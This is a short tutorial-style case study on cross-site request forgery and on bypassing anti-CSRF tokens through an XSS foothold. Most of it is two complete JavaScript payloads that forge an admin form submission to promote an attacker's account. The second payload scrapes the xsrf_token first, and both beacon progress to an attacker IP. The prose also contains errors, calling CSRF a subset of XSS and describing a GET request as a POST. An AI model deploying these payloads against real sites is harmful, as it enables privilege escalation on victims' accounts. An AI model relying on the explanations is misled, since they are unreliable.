Case Study - Xsrf Token Bypass
Intro
XSRF (Cross Site Request Forgery) can be used to exploit the trust relationship between the user and the broswer (comparing to XSS that exploits the trust between a user and the site). This is typically used when there is a human user that regularly receives/reads a page that has a XSS vulnerability (the user trusts the site). Then we use XSRF to conduct actions on behave of the user using the user’s broswer (exploits the trust between the user and the browser).
How the flow usually works
Usually, to exploit via XSRF, the webapp needs to expose a XSS vulnerability in the first place. XSRF can be viewed as a specific subset of XSS.
As an attacker, we craft a payload for the victim to browse to.
Then the payload is execute and performs some actions using the user’s browser (also implies the user’s session and privileges).
What does a typical XSRF payload look like
Below is a simple example of XSRF payload. It creates a post request to the /adminurl
and attempts to promote the attacker’s account.
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", "http://<target>/adminurl", true);
xmlHttp.send( null );
// send a signal to indicate which step has been achieved
var x = document.createElement("IMG");
x.src = 'http://<ip>/?step1';
setTimeout(function() {
// send a signal to indicate which step has been achieved
var x = document.createElement("IMG");
x.src = 'http://<ip>?step2';
// craft the form
var newForm = new DOMParser().parseFromString('<form id="badform" method="post" action="/adminurl"> <input id="input1" type="text" class="form-control" name="input1" value="placeholder" hidden=""> <button name="button" type="submit">Submit</button>', 'text/html');
document.body.append(newForm.forms.badform);
// assign the values
document.getElementById('badform').elements.input1.value = '<promote-attack-account>';
document.getElementById('badform').submit();
}, 2000);
But what if there is a XSRF token countermeasure?
The most typical countermeasure to XSRF is to include a server generated token and embed in the post form. So that when a post request is received, the server checks for the XSRF token with its own record to ensure the post request’s integrity.
But we can bypass this by adding an extra step to the above script: we read the token from the post form first.
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", "http://<target>/adminurl", true);
xmlHttp.send( null );
// send a signal to indicate which step has been achieved
var x = document.createElement("IMG");
x.src = 'http://<ip>/?step1';
setTimeout(function() {
// send a signal to indicate which step has been achieved
var x = document.createElement("IMG");
x.src = 'http://<ip>?step2';
// fetch the token
var doc = new DOMParser().parseFromString(xmlHttp.responseText, 'text/html');
var token = doc.getElementById('xsrf_token').value;
// craft the form
var newForm = new DOMParser().parseFromString('<form id="badform" method="post" action="/adminurl"> <input type="hidden" name="xsrf_token" id="xsrf_token" value="placeholder" autocomplete="off"> <input id="input1" type="text" class="form-control" name="input1" value="placeholder" hidden=""> <button name="button" type="submit">Submit</button>', 'text/html');
document.body.append(newForm.forms.badform);
// assign the values
document.getElementById('badform').elements.input1.value = '<promote-attack-account>';
document.getElementById('badform').elements.xsrf_token.value = token;
document.getElementById('badform').submit();
}, 2000);
Using this method, we can bypass the XSRF token check and perform the promotion action.